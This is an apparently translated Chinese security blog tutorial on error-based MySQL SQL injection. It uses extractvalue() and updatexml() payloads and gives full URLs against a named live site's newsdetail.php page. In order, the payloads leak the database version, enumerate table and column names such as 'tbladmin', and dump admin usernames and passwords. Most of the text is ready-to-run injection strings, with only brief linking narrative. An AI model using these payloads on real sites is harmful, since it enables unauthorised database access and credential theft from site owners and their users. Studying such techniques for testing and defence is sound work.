用这个网站做示例
Default
http://91ri.org/ newsdetail.php?id=51
1
http://91ri.org/ newsdetail.php?id=51
1.查看数据库版本?(ExtractValue)
代码:
Default
+and+extractvalue(rand(),concat(0x7e,version()))--
1
+and+extractvalue(rand(),concat(0x7e,version()))--
这会返回一个XPATH语法错误,会爆出版本号,这个是浏览器的链接:
Default
http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,version()))--
1
http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,version()))--
结果如图:
2.得到表名(ExtractValue)
代码:
Default
+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))--
1
+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))--
浏览器的链接:
Default
http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))--
1
http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))--
结果如图
XPATH syntax error:’~pdigclicks’我们的表名就是pdigclicks
为了得到admin表或者users表,我们需要不断增加LIMIT函数的第一个参数来猜测。
代码:
Default
http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+[b]2[/b],1)))--
1
http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+[b]2[/b],1)))--
这个时候得到XPATH syntax error:’~tbladmin’看来我们想要的表名就是tbladmin
3.得到表的列名(ExtractValue)
第一步,我们要把我们得到的表名转化成字符串的。
‘a’转换成十六进制就是0x61。tbladmin的十六进制表达就是0x74626c61646d696e
现在为了得到列,我们需要改变一点点语法,但是实际上还是那个思想。(因为XPATH其实跟SQL注入很像)
代码:
Default
+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0xTABLE_HEX+limit+0,1)))--]
1
+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0xTABLE_HEX+limit+0,1)))--]
当然,需要把上面代码的TABLE_HEX替换成你找到的表名。
我的浏览器链接看起来是这样的:
Default
http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)))--
1
http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)))--
返回结果:XPATH syntax error:’~adminid’
现在,为了得到我们知道我们想要的列名,我们需要不断增加LIMIT函数的参数
4.得到列的值(ExtractValue)
现在既然已经得到列的名字,我们将要把它放到concat语句中去
代码:
Default
+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+TABLENAME+limit+0,1)))--
1
+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+TABLENAME+limit+0,1)))--
我想要的列名是username和password,0x7e表示的是“~”符号,我用这个“~当作分隔符
我浏览器的链接是这样的:
Default
+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+TABLENAME+limit+0,1)))--
1
+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+TABLENAME+limit+0,1)))--
就像你看到的,我们得到了一个用户名和密码
图:
(下面的内容只是把extractvalue函数换成了UpdateXML函数来做同样的事情)
5.得到版本(UpdateXML)
代码:
Default
+and+updatexml(0x7e,concat(0x7e,(version())),0)--
1
+and+updatexml(0x7e,concat(0x7e,(version())),0)--
我的浏览器链接:
Default
91ri.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,(version())),0)--We get our XPATH Error that returns the version.
1
91ri.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,(version())),0)--WegetourXPATHErrorthatreturnstheversion.
6.得到表名(UpdateXML)
代码:
Default
+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)
1
+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)
浏览器链接:
Default
http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)--
1
http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)--
7.得到列名(UpdateXML)
代码:
Default
+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_schema.columns+where+table_name=0xTABLE_HEX+limit+0,1))),0)--
1
+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_schema.columns+where+table_name=0xTABLE_HEX+limit+0,1))),0)--
浏览器的链接:
Default
http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1))),0)--
1
http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1))),0)--
8.得到列的数据(UpdateXML)
浏览器的链接:
Default
http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(username,0x7e,password)+from+tbladmin+limit+0,1))),0)
1
http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(username,0x7e,password)+from+tbladmin+limit+0,1))),0)
日币奖励:
本文为原创译文、首发,根据本站积分规则给予日币奖励共4枚。
AD:本站开放投稿及积分(日币),日币可兑换实物奖励,每月top3可获得礼品一份。
[via@evi1]